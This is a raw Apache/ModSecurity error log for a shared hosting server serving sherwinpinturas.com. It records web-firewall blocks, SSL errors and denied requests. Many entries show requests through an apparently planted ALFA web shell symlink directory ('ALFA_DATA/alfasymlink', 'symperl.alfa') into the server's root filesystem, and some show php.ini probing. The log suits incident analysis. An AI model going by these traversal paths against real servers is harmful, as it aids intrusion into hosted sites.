[Tue Oct 27 13:29:07.014690 2026] [security2:error] [pid 3266317:tid 3266317] [client 185.191.171.2:13998] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib/tmpfiles.d/tuned.conf"] [unique_id "auDfY1pe8OyRxW4q_kxnhAAAAAM"]
[Tue Oct 27 13:29:07.015073 2026] [security2:error] [pid 3266317:tid 3266317] [client 185.191.171.2:13998] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib/tmpfiles.d/tuned.conf"] [unique_id "auDfY1pe8OyRxW4q_kxnhAAAAAM"]
[Tue Oct 27 13:29:07.015449 2026] [security2:error] [pid 3266317:tid 3266317] [client 185.191.171.2:13998] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib/tmpfiles.d/tuned.conf"] [unique_id "auDfY1pe8OyRxW4q_kxnhAAAAAM"]
[Tue Oct 27 13:29:15.753434 2026] [ssl:error] [pid 3268332:tid 3268332] (70014)End of file found: [client 34.195.60.66:64765] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:29:24.018839 2026] [ssl:error] [pid 3270132:tid 3270132] (70014)End of file found: [client 98.83.226.125:29025] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:29:43.923455 2026] [ssl:error] [pid 3270272:tid 3270272] (70014)End of file found: [client 54.90.8.255:9932] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:29:48.073429 2026] [security2:error] [pid 3268405:tid 3268405] [client 18.208.11.93:44971] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/PNP0303:00/physical_node1/firmware_node/physical_node/subsystem/"] [unique_id "auDfjCIDCc5Zji7t-bVU3AAAAC8"]
[Tue Oct 27 13:29:48.073478 2026] [security2:error] [pid 3268405:tid 3268405] [client 18.208.11.93:44971] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/PNP0303:00/physical_node1/firmware_node/physical_node/subsystem/"] [unique_id "auDfjCIDCc5Zji7t-bVU3AAAAC8"]
[Tue Oct 27 13:30:07.849514 2026] [ssl:error] [pid 3268405:tid 3268405] (70014)End of file found: [client 3.212.86.97:19092] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:30:28.040394 2026] [ssl:error] [pid 3268402:tid 3268402] (70014)End of file found: [client 52.202.233.37:11717] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:30:36.080611 2026] [ssl:error] [pid 3268396:tid 3268396] (70014)End of file found: [client 35.169.240.53:64902] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:30:48.014788 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 44.206.93.215:28354] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:31:00.497361 2026] [authz_core:error] [pid 3268405:tid 3268405] [client 45.138.12.32:55594] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 13:31:04.269489 2026] [authz_core:error] [pid 3268405:tid 3268405] [client 45.138.12.32:55594] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 13:31:04.401931 2026] [security2:error] [pid 3265904:tid 3265904] [client 45.138.12.32:15502] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "col1.sherwinpinturas.com"] [uri "/index.html"] [unique_id "auDf2BDAXMmRjnJCNHLO6gAAACc"]
[Tue Oct 27 13:31:04.401982 2026] [security2:error] [pid 3265904:tid 3265904] [client 45.138.12.32:15502] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "col1.sherwinpinturas.com"] [uri "/index.html"] [unique_id "auDf2BDAXMmRjnJCNHLO6gAAACc"]
[Tue Oct 27 13:31:06.427260 2026] [authz_core:error] [pid 3274223:tid 3274223] [client 45.138.12.32:15542] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 13:31:07.828208 2026] [ssl:error] [pid 3268394:tid 3268394] (70014)End of file found: [client 184.73.68.20:20083] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:31:08.969463 2026] [authz_core:error] [pid 3274223:tid 3274223] [client 45.138.12.32:15542] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 13:31:35.997777 2026] [ssl:error] [pid 3274228:tid 3274228] (70014)End of file found: [client 34.233.219.155:46252] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:31:43.786013 2026] [ssl:error] [pid 3274229:tid 3274229] (70014)End of file found: [client 184.72.95.195:14738] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:32:15.990380 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 34.199.252.22:51751] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:32:20.207832 2026] [ssl:error] [pid 3268454:tid 3268454] (70014)End of file found: [client 44.212.131.50:59401] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:32:28.087459 2026] [ssl:error] [pid 3265911:tid 3265911] (70014)End of file found: [client 18.213.70.100:3069] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:32:43.497989 2026] [security2:error] [pid 3268403:tid 3268403] [client 43.130.154.56:58862] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auDgO3DcnWPXckNDoZbkLQAAAC0"]
[Tue Oct 27 13:32:43.499495 2026] [authz_core:error] [pid 3268403:tid 3268403] [client 43.130.154.56:58862] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 13:32:47.724246 2026] [ssl:error] [pid 3268454:tid 3268454] (70014)End of file found: [client 3.213.213.161:51344] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:32:56.400774 2026] [security2:error] [pid 3271651:tid 3271651] [client 43.130.72.177:49052] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/clic1/"] [unique_id "auDgSJuJEYyJNK9cyF6i2wAAAAc"]
[Tue Oct 27 13:33:07.803457 2026] [ssl:error] [pid 3274280:tid 3274280] (70014)End of file found: [client 52.1.106.130:50675] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:33:11.825712 2026] [ssl:error] [pid 3274231:tid 3274231] (70014)End of file found: [client 52.70.123.241:43581] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:33:20.035151 2026] [core:error] [pid 3261792:tid 3261792] (13)Permission denied: [client 54.163.169.168:37673] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/device:12/eject
[Tue Oct 27 13:33:20.558007 2026] [core:error] [pid 3268403:tid 3268403] (13)Permission denied: [client 85.208.96.208:46924] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/mbcache/sections/__ksymtab_strings
[Tue Oct 27 13:33:23.715934 2026] [ssl:error] [pid 3274231:tid 3274231] (70014)End of file found: [client 52.204.89.12:9916] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:33:27.927219 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 98.82.39.241:52828] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:33:32.133305 2026] [ssl:error] [pid 3274231:tid 3274231] (70014)End of file found: [client 52.44.174.136:1033] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:33:32.133553 2026] [security2:error] [pid 3274231:tid 3274231] [client 52.44.174.136:1033] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.3/subsystem_device"] [unique_id "auDgbA5mMRwZXBs6K04NnwAAAAs"]
[Tue Oct 27 13:33:32.133593 2026] [security2:error] [pid 3274231:tid 3274231] [client 52.44.174.136:1033] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.3/subsystem_device"] [unique_id "auDgbA5mMRwZXBs6K04NnwAAAAs"]
[Tue Oct 27 13:33:51.986772 2026] [ssl:error] [pid 3271001:tid 3271001] (70014)End of file found: [client 3.215.59.93:64263] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:33:55.914173 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 44.195.50.71:6995] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:34:07.774795 2026] [ssl:error] [pid 3271001:tid 3271001] (70014)End of file found: [client 18.211.148.239:19455] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:34:11.802019 2026] [ssl:error] [pid 3268454:tid 3268454] (70014)End of file found: [client 34.206.212.24:48369] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:34:19.914059 2026] [core:error] [pid 3274346:tid 3274346] (13)Permission denied: [client 34.225.138.57:59968] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/driver/cpu0/firmware_node/physical_node/subsystem/drivers_probe
[Tue Oct 27 13:34:23.776221 2026] [ssl:error] [pid 3271651:tid 3271651] (70014)End of file found: [client 100.29.128.75:18577] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:34:27.763176 2026] [ssl:error] [pid 3268405:tid 3268405] (70014)End of file found: [client 23.21.250.48:49497] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:34:31.505642 2026] [core:crit] [pid 3274346:tid 3274346] (13)Permission denied: [client 216.73.217.51:5288] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/' is executable
[Tue Oct 27 13:34:31.525689 2026] [core:crit] [pid 3274346:tid 3274346] (13)Permission denied: [client 216.73.217.51:5288] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/' is executable
[Tue Oct 27 13:34:31.986273 2026] [ssl:error] [pid 3265911:tid 3265911] (70014)End of file found: [client 34.231.156.59:1995] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:34:33.550786 2026] [cgi:error] [pid 3274346:tid 3274346] [client 216.73.217.51:5288] End of script output before headers: symperl.alfa
[Tue Oct 27 13:34:33.993327 2026] [authz_core:error] [pid 3268405:tid 3268405] [client 216.73.217.51:11132] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Tue Oct 27 13:34:34.494029 2026] [authz_core:error] [pid 3268405:tid 3268405] [client 216.73.217.51:11132] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Tue Oct 27 13:34:34.996775 2026] [authz_core:error] [pid 3268405:tid 3268405] [client 216.73.217.51:11132] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Tue Oct 27 13:34:35.736510 2026] [ssl:error] [pid 3274228:tid 3274228] (70014)End of file found: [client 52.44.229.124:13315] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:34:37.059018 2026] [authz_core:error] [pid 3268405:tid 3268405] [client 216.73.217.51:11132] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Tue Oct 27 13:34:38.565066 2026] [authz_core:error] [pid 3268405:tid 3268405] [client 216.73.217.51:11132] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Tue Oct 27 13:34:39.066402 2026] [authz_core:error] [pid 3268405:tid 3268405] [client 216.73.217.51:11132] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Tue Oct 27 13:34:39.568680 2026] [authz_core:error] [pid 3268405:tid 3268405] [client 216.73.217.51:11132] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Tue Oct 27 13:34:39.735644 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 3.232.39.98:61133] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:34:40.074399 2026] [authz_core:error] [pid 3268405:tid 3268405] [client 216.73.217.51:11132] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Tue Oct 27 13:34:40.574772 2026] [authz_core:error] [pid 3268405:tid 3268405] [client 216.73.217.51:11132] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Tue Oct 27 13:34:41.077858 2026] [authz_core:error] [pid 3268405:tid 3268405] [client 216.73.217.51:11132] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Tue Oct 27 13:34:41.579117 2026] [authz_core:error] [pid 3268405:tid 3268405] [client 216.73.217.51:11132] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Tue Oct 27 13:34:43.973948 2026] [core:error] [pid 3271651:tid 3271651] (13)Permission denied: [client 3.218.103.254:16862] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/driver/cpu0/firmware_node/physical_node/subsystem/uevent
[Tue Oct 27 13:34:47.820638 2026] [ssl:error] [pid 3274280:tid 3274280] (70014)End of file found: [client 3.230.224.6:9668] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:34:51.743219 2026] [ssl:error] [pid 3265911:tid 3265911] (70014)End of file found: [client 44.205.120.22:44563] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:34:54.822321 2026] [authz_core:error] [pid 3274346:tid 3274346] [client 216.73.217.51:64303] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Tue Oct 27 13:34:55.823134 2026] [authz_core:error] [pid 3274346:tid 3274346] [client 216.73.217.51:64303] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Tue Oct 27 13:34:56.823304 2026] [authz_core:error] [pid 3274346:tid 3274346] [client 216.73.217.51:64303] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Tue Oct 27 13:34:57.625131 2026] [authz_core:error] [pid 3274346:tid 3274346] [client 216.73.217.51:64303] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Tue Oct 27 13:34:57.926045 2026] [authz_core:error] [pid 3274346:tid 3274346] [client 216.73.217.51:64303] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Tue Oct 27 13:34:58.227789 2026] [authz_core:error] [pid 3274346:tid 3274346] [client 216.73.217.51:64303] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Tue Oct 27 13:34:58.527920 2026] [authz_core:error] [pid 3274346:tid 3274346] [client 216.73.217.51:64303] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Tue Oct 27 13:34:58.829004 2026] [authz_core:error] [pid 3274346:tid 3274346] [client 216.73.217.51:64303] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Tue Oct 27 13:34:59.130995 2026] [authz_core:error] [pid 3274346:tid 3274346] [client 216.73.217.51:64303] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Tue Oct 27 13:34:59.919294 2026] [ssl:error] [pid 3271651:tid 3271651] (70014)End of file found: [client 3.225.9.97:52288] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:35:00.268864 2026] [authz_core:error] [pid 3274346:tid 3274346] [client 216.73.217.51:64303] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Tue Oct 27 13:35:00.494636 2026] [authz_core:error] [pid 3274346:tid 3274346] [client 216.73.217.51:64303] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Tue Oct 27 13:35:00.675634 2026] [authz_core:error] [pid 3274346:tid 3274346] [client 216.73.217.51:64303] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Tue Oct 27 13:35:03.742574 2026] [ssl:error] [pid 3274228:tid 3274228] (70014)End of file found: [client 44.221.37.41:34703] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:35:08.000735 2026] [ssl:error] [pid 3268405:tid 3268405] (70014)End of file found: [client 18.205.91.101:17583] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:35:10.996722 2026] [authz_core:error] [pid 3261792:tid 3261792] [client 216.73.217.51:13878] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Tue Oct 27 13:35:13.357519 2026] [security2:error] [pid 3268403:tid 3268403] [client 107.172.76.131:61431] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDgxnDcnWPXckNDoZbkNAAAAC0"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 13:35:13.357585 2026] [security2:error] [pid 3268403:tid 3268403] [client 107.172.76.131:61431] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDgxnDcnWPXckNDoZbkNAAAAC0"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 13:35:27.968573 2026] [ssl:error] [pid 3274346:tid 3274346] (70014)End of file found: [client 44.223.116.149:23472] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:35:31.775660 2026] [core:error] [pid 3274465:tid 3274465] (13)Permission denied: [client 100.29.63.24:51730] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/firmware_node/device:06/eject
[Tue Oct 27 13:35:35.820754 2026] [ssl:error] [pid 3265882:tid 3265882] (70014)End of file found: [client 3.212.219.113:43904] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:35:42.864017 2026] [core:error] [pid 3274465:tid 3274465] (13)Permission denied: [client 85.208.96.195:12030] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_lbr/align
[Tue Oct 27 13:35:47.774230 2026] [ssl:error] [pid 3268394:tid 3268394] (70014)End of file found: [client 52.205.141.124:51193] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:35:59.971679 2026] [ssl:error] [pid 3274346:tid 3274346] (70014)End of file found: [client 34.194.95.99:63826] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:36:03.974517 2026] [ssl:error] [pid 3271651:tid 3271651] (70014)End of file found: [client 52.204.37.237:46667] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:36:12.231670 2026] [core:error] [pid 3274465:tid 3274465] (13)Permission denied: [client 52.4.213.199:13635] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.3/i2c-0/delete_device
[Tue Oct 27 13:36:14.709781 2026] [security2:error] [pid 3274533:tid 3274533] [client 216.73.217.51:14141] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/safer-buffer/LICENSE"] [unique_id "auDhDga3LjGJzUMtHrNH_wAAAA0"]
[Tue Oct 27 13:36:14.709837 2026] [security2:error] [pid 3274533:tid 3274533] [client 216.73.217.51:14141] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/safer-buffer/LICENSE"] [unique_id "auDhDga3LjGJzUMtHrNH_wAAAA0"]
[Tue Oct 27 13:36:14.882818 2026] [authz_core:error] [pid 3274533:tid 3274533] [client 216.73.217.51:14141] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/beta/PHPMailer/src/error_log
[Tue Oct 27 13:36:16.598274 2026] [ssl:error] [pid 3274609:tid 3274609] (70014)End of file found: [client 100.29.34.97:59851] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:36:23.861582 2026] [ssl:error] [pid 3274670:tid 3274670] (5)Input/output error: [client 44.215.235.20:35165] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:36:26.349849 2026] [security2:error] [pid 3271651:tid 3271651] [client 16.216.88.128:16384] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".inc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/thread_view_common.inc"] [unique_id "auDhGpuJEYyJNK9cyF6i8wAAAAc"]
[Tue Oct 27 13:36:26.350439 2026] [security2:error] [pid 3271651:tid 3271651] [client 16.216.88.128:16384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/thread_view_common.inc"] [unique_id "auDhGpuJEYyJNK9cyF6i8wAAAAc"]
[Tue Oct 27 13:36:26.350877 2026] [security2:error] [pid 3271651:tid 3271651] [client 16.216.88.128:16384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/thread_view_common.inc"] [unique_id "auDhGpuJEYyJNK9cyF6i8wAAAAc"]
[Tue Oct 27 13:36:27.921395 2026] [ssl:error] [pid 3274280:tid 3274280] (70014)End of file found: [client 3.214.176.44:58277] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:36:35.969952 2026] [core:error] [pid 3261792:tid 3261792] (13)Permission denied: [client 54.156.248.117:21519] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0A03:00/device:18/eject
[Tue Oct 27 13:36:40.228254 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 98.84.131.195:5929] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:36:56.010524 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 52.1.157.90:62985] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:36:59.958800 2026] [ssl:error] [pid 3274468:tid 3274468] (70014)End of file found: [client 35.171.141.42:21463] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:37:03.784460 2026] [core:error] [pid 3274468:tid 3274468] (13)Permission denied: [client 34.194.226.74:53504] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/driver/bind
[Tue Oct 27 13:37:07.461199 2026] [core:crit] [pid 3274719:tid 3274719] (13)Permission denied: [client 141.98.11.23:48308] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
